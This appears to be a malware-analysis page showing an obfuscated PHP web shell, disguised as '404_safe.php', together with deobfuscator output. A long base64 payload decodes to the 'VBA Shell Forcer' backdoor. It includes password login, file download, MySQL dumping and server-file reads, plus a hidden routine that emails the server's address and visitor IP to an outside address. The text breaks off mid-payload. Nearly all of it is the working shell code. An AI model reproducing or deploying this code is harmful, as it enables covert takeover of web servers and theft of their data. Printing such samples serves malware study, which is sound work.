Jump to:
Screenshot
Attributes
Emails
<?php
/* Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj9 */
$OOO000000 = "fg6sbehpra4co_tnd";
$GLOBALS['OOO0000O0'] = "base64_d";
$GLOBALS['OOO0000O0'] = "base64_decode";
$GLOBALS['OOO000O00'] = "fopen";
$GLOBALS['O0O000O00'] = "fget";
$GLOBALS['O0O000O00'] = "fgets";
$GLOBALS['O0O00OO00'] = "fread";
$GLOBALS['OOO00000O'] = "strtr";
$OOO0O0O00 = "/var/www/html/404_safe.php.f4532128b17a624ab90681640a4f3885.bin";
$OO00O0000 = 0x21160;
eval /* PHPDeobfuscator eval output */ {
$O000O0O00 = fopen($OOO0O0O00, 'rb');
"<?php /* Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj9 */\$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');\$GLOBALS['OOO0000O0']=\$OOO000000{4}.\$OOO000000{9}.\$OOO000000{3}.\$OOO000000{5}.\$OOO000000{2}.\$OOO000000{10}.\$OOO000000{13}.\$OOO000000{16};\$GLOBALS['OOO0000O0'].=\$GLOBALS['OOO0000O0']{3}.\$OOO000000{11}.\$OOO000000{12}.\$GLOBALS['OOO0000O0']{7}.\$OOO000000{5};\$GLOBALS['OOO000O00']=\$OOO000000{0}.\$OOO000000{12}.\$OOO000000{7}.\$OOO000000{5}.\$OOO000000{15};\$GLOBALS['O0O000O00']=\$OOO000000{0}.\$OOO000000{1}.\$OOO000000{5}.\$OOO000000{14};\$GLOBALS['O0O000O00']=\$O0O000O00.\$OOO000000{3};\$GLOBALS['O0O00OO00']=\$OOO000000{0}.\$OOO000000{8}.\$OOO000000{5}.\$OOO000000{9}.\$OOO000000{16};\$GLOBALS['OOO00000O']=\$OOO000000{3}.\$OOO000000{14}.\$OOO000000{8}.\$OOO000000{14}.\$OOO000000{8};\$OOO0O0O00=__FILE__;\$OO00O0000=0x21160;eval(\$GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3Zik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwncEc1L2Nud3VqbG0xTFh0NFBFSjNvOUNGVVc2eE1rYnpOUmFpSCtTZVlBZHMwN3lPZ2ZCWjJoS3JEcXY4UUlUVj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~D";
$OO00O00O0 = "\$OO00O00O0=str_replace('__FILE__',\"'\".\$OOO0O0O00.\"'\",\$GLOBALS['OOO0000O0'](\$GLOBALS['OOO00000O'](\$GLOBALS['O0O00OO00'](\$O000O0O00,\$OO00O0000),'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));fclose(\$O000O0O00);eval(\$OO00O00O0);";
eval /* PHPDeobfuscator eval output */ {
$OO00O00O0 = " \$a ='LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsKZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsKLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsKZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsKJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAnXycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJCX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLwokYWRtaW4gPSBhcnJheSgpOwokYWRtaW5bJ2NoZWNrJ10gPSB0cnVlOwokYWRtaW5bJ3Bhc3MnXSAgPSAnMTAwMjkxMmIyNTE4ODdiNGZlMGU1ZmExZWZkYmZhMDYnOyAvLyBQYXNzd29yZCBsb2dpbgokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7CiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsKJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7CiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7Ci8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLwoKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9Cgokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsKJHRpbWVzdGFtcCA9IHRpbWUoKTsKCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7CglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7CglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOwoJcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsKCWV4aXQ7Cn0KaWYoJGFkbWluWydjaGVjayddKSB7CglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsKCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gbWQ1KCRwYXNzd29yZCkpIHsKCQkJc2Nvb2tpZSgndmJhcGFzcycsIG1kNSgkcGFzc3dvcmQpKTsKCi8vIEZ1bmN0aW9uIG1haWwgU2VuZGVyIHRvIG15IEVtYWlsIC0gUGxlYXNlIHJlbW92ZSB0aGlzIGJlZm9yZSB5b3UgdXNpbmcgdGhpcyBzaGVsbCBjb2RlLCBUaGFua3MgLSBGZXJuYW5kbyAtIFZCQVRlYW0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICd4ZWRvcmFjQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7CgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+CjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Db25uZWN0aW5nLi4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsKCQkJZXhpdDsKCQl9CgoJZWxzZQoJewoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jRjBGMEYwIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOwplY2hvICRlcnJfbWVzczsKCX19CglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIE15c3FsCmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy9Eb3dubG9hZCBTUUwKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsKCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7CgkJCX0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJaWYgKCEkcm93KSB7CgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsKCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOwoJCQkJZWNobyAkcm93WzBdOwoJCQkJZXhpdDsKCQkJfQoJCX0KCX0KfQoKPz4KCjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1RoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQnKTs/PjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9CgphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9Ci5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVhZF9zbWFsbCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9CmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uCnsKCWZvbnQtc2l6ZTogOXB0OwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cglib3JkZXItbGVmdDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItYm90dG9tOiAxcHggc29saWQgIzc0QTIwMjsKfQpzZWxlY3QKewoJZm9udC1zaXplOiA4cHQ7Cglmb250LXdlaWdodDogbm9ybWFsOwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cn0KCjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgewoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsKCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07CgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykKCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOwogICAgfQp9CmZ1bmN0aW9uICQoaWQpIHsKCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cn0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsKCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsKCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJpbml0KCkiIHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIiBiZ2NvbG9yPWJsYWNrIGJhY2tncm91bmQ9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9iZy0xLmpwZz4KCgo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPgoJCQkJCTx0cj4KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+CgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPgoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4KCQkJCSAgPC9kaXY+CgkJCQk8L3RkPgoJCQkJCTwvdHI+CgkJCQk8L3RhYmxlPgoJCQkgPC9kaXY+CiA8c2NyaXB0PgogdmFyIGxkPShkb2N1bWVudC5hbGwpOwogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOwogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsKIHZhciBpZTQ9ZG9jdW1lbnQuYWxsOwogIGlmIChuczQpCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsKIGVsc2UgaWYgKG5zNikKIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOwogZWxzZSBpZiAoaWU0KQogCWxkPWRvY3VtZW50LmFsbC5sb2FkaW5nLnN0eWxlOwogIGZ1bmN0aW9uIGluaXQoKQogewogaWYobnM0KXtsZC52aXNpYmlsaXR5PSJoaWRkZW4iO30KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsKIH0KIDwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+CgkJPHRkICB3aWR0aD0xMDAlPgoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkPgoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDxzcGFuPlsgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gLSBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4gXSA8L3NwYW4+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+IExvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4KCgkJPD9waHAKCQkkY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOwoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CgkJJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwoKZWNobyAoKCRzYWZlX21vZGUpPygiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiKTooIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOwoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CgkJZWNobyAiTXlTUUw6IDxiPiI7CiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKaWYoJG15c3FsX29uKXsKZWNobyAiPGZvbn